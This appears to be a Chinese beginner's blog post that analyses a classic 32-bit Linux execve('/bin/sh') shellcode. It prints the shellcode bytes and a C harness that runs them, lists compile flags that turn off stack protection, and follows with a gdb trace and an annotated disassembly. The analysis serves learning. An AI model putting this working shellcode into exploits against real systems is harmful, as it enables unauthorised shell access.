百年一遇的高级光棍节,我得写篇详细完整的文章才行。初学者,菜文,老鸟请飘过
分析段简单的shellcode代码
1.shellcode.c
代码:
#include <stdio.h> static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x73\x68\x58"; int main() { (*(void(*)())shellcode)(); return 0; }
2.shellcode动态调试
记住编译的时候一定要加-fno-stack-protector -z execstack
gdb动态调试shellcode(凑合看,文档里会清晰点。)
代码:
[root@localhost ceshi]# gdb shellcode GNU gdb Fedora (6.8-27.el5) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) l 1 #include <stdio.h> 2 3 static char shellcode[]= 4 "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" 5 "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e" 6 "\x2f\x73\x68\x58"; 7 8 int main() { 9 (*(void(*)())shellcode)(); 10 return 0; (gdb)
代码:
(gdb) b 9 Breakpoint 1 at 0x8048365: file shellcode.c, line 9. (gdb) display /i $pc (gdb) run Starting program: /root/ceshi/shellcode Breakpoint 1, main () at shellcode.c:9 9 (*(void(*)())shellcode)(); 1: x/i $pc 0x8048365 <main+17>: mov $0x8049580,%eax (gdb)
代码:
0x08049582 in shellcode () 1: x/i $pc 0x8049582 <shellcode+2>: pop %esi (gdb) 0x08049583 in shellcode () 1: x/i $pc 0x8049583 <shellcode+3>: mov %esi,0x8(%esi) (gdb) i r esi esi 0x804959e 134518174 (gdb) x/8xb 134518174 0x804959e <shellcode+30>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x58 (gdb)
代码:
0x8049586 <shellcode+6>: xor %eax,%eax (gdb) 0x08049588 in shellcode () 1: x/i $pc 0x8049588 <shellcode+8>: mov %al,0x7(%esi) (gdb) 0x0804958b in shellcode () 1: x/i $pc 0x804958b <shellcode+11>: mov %eax,0xc(%esi) (gdb) i r esi esi 0x804959e 134518174 (gdb) x/8xb 134518174 0x804959e <shellcode+30>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
代码:
(gdb) si 0x0804958e in shellcode () 1: x/i $pc 0x804958e <shellcode+14>: mov $0xb,%al (gdb) 0x08049590 in shellcode () 1: x/i $pc 0x8049590 <shellcode+16>: mov %esi,%ebx (gdb) 0x08049592 in shellcode () 1: x/i $pc 0x8049592 <shellcode+18>: lea 0x8(%esi),%ecx (gdb) 0x08049595 in shellcode () 1: x/i $pc 0x8049595 <shellcode+21>: xor %edx,%edx (gdb) 0x08049597 in shellcode () 1: x/i $pc 0x8049597 <shellcode+23>: int $0x80
3.详细汇编解释
这里采用nasm来汇编一下,即ndisasm -u,使用的intel风格的汇编,效果都一样,添加了详细注释。
代码:
echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80 \xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" | ndisasm -u -
代码:
00000000 EB17 jmp short 0x19 //注意17+2等于19,这是相对偏移,此地方跳转到call dword 0x2 00000002 5E pop esi //弹出到esi寄存器中,即是call dword 0x2后面的返回地址0000001E,也就是存储着/bin/sh 00000003 897608 mov [esi+0x8],esi 00000006 31C0 xor eax,eax 00000008 884607 mov [esi+0x7],al //使58为00,这样就是完整的字符串"/bin/sh" 0000000B 89460C mov [esi+0xc],eax 0000000E B00B mov al,0xb //将0xb(11)赋给eax , 这是execve()在系统中的索引号. 00000010 89F3 mov ebx,esi //赋值esi字符串 00000012 8D4E08 lea ecx,[esi+0x8] 00000015 31D2 xor edx,edx 00000017 CD80 int 0x80 00000019 E8E4FFFFFF call dword 0x2 //这里跳转到pop esi执行,但是call的时候会压入返回地址,即0000001E 0000001E 2F das 0000001F 62696E bound ebp,[ecx+0x6e] 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax
分析结束,初次分析shellcode,很多不会,需要进一步学习。
好好学习,天天向上。
简单Shellcode的详细分析.doc